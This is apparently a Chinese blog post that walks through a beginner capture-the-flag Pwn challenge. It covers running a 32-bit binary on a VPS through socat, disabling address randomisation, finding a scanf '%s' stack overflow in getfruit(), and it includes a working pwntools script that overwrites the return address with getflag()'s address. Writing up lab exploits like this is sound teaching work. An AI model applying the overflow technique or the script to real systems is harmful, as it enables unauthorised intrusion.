学习CTF(Capture The Flag)中的Pwn部分需要掌握计算机系统、二进制漏洞、内存管理、堆栈溢出、格式化字符串漏洞等相关知识。需要了解内存布局、堆栈、堆、寄存器、函数调用约定等概念。需要熟悉Pwn工具集,如pwntools、ROPgadget、angr等,这些工具可以简化Pwn题目的解题过程。今天带大家一起入门Pwn基础。
(1)程序是Intel 80386的32位程序,我的MAC M1无法运行,只好把程序甩到 vps 上
scp pwnme1-Pwn基础 root@174.137.58.6:~/pwd -P 29169同时vps 还要设置成可以运行32位程序
dpkg --add-architecture i386apt install libc6:i386 libncurses5:i386 libstdc++6:i386apt update# 小插曲,有些安装失败的apt install --reinstall libc6:i386apt install --reinstall libgcc-s1:i386apt install libc6-dev-i386apt install gcc-multilib g++-multilibapt install libc6-dev-i386然后通过socat进行端口转发,这样就可以在MAC M1上享受pwn的快乐了
socat TCP4-LISTEN:10086,reuseaddr,fork,su=nobody EXEC:./pwnme1-Pwn基础再关闭地址随机化,降低实验难度
echo 0 > /proc/sys/kernel/randomize_va_space(2)使用IDA查看静态伪代码,找到如下入口
(3)观察,确实找到缓冲区溢出漏洞,其中case5 分支getfruit() 伪代码如下:
getfruit 函数中的 scanf 函数使用 %s 读取输入,这会导致没有对输入字符串长度进行限制。用户可以输入比 v1 数组长度更长的字符串,从而覆盖栈上的其他数据。
(4)继续观察,发现flag藏在 getflag()函数中
因此,只要让函数getfruit()返回的时候跳转到getflag()函数就可以了
(5)这题是入门题,关闭了栈保护,金丝雀保护
checksec --file=pwnme1-Pwn基础(6)使用gdb先锁定目标函数getflag()的地址
info address getflag(7)使用python2.7 pwn 编程,进行缓冲区溢出
# python2.7from pwn import *# 设置远程连接信息host = '174.137.58.6'port = 10086getflag_addr = 0x8048677# 构造恶意输入,首先填充缓冲区,然后将getflag函数的地址作为返回地址写入缓冲区payload = b"A" * (164+4) # 缓冲区溢出填充payload += p32(getflag_addr) # 将getflag函数的地址作为返回地址# 创建一个与目标程序的连接io = remote(host, port)io.sendlineafter(">> 6. Exit", "5")# 发送payload给目标程序io.sendlineafter("Please input the name of fruit:", payload)# 接收并打印目标程序的输出print(io.recvall())(8)运行程序,获得flag
题外话:针对MAC M1 芯片,默认conda 无法直接创建python2.7环境,需要按照如下方法创建
conda create -n py27conda activate py27# 使用x86_64 architecture channel(s)conda config --env --set subdir osx-64# 安装python2.7conda install python=2.7# 安装pwntoolspip install pwntools -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com发布于 2024-01-28 13.00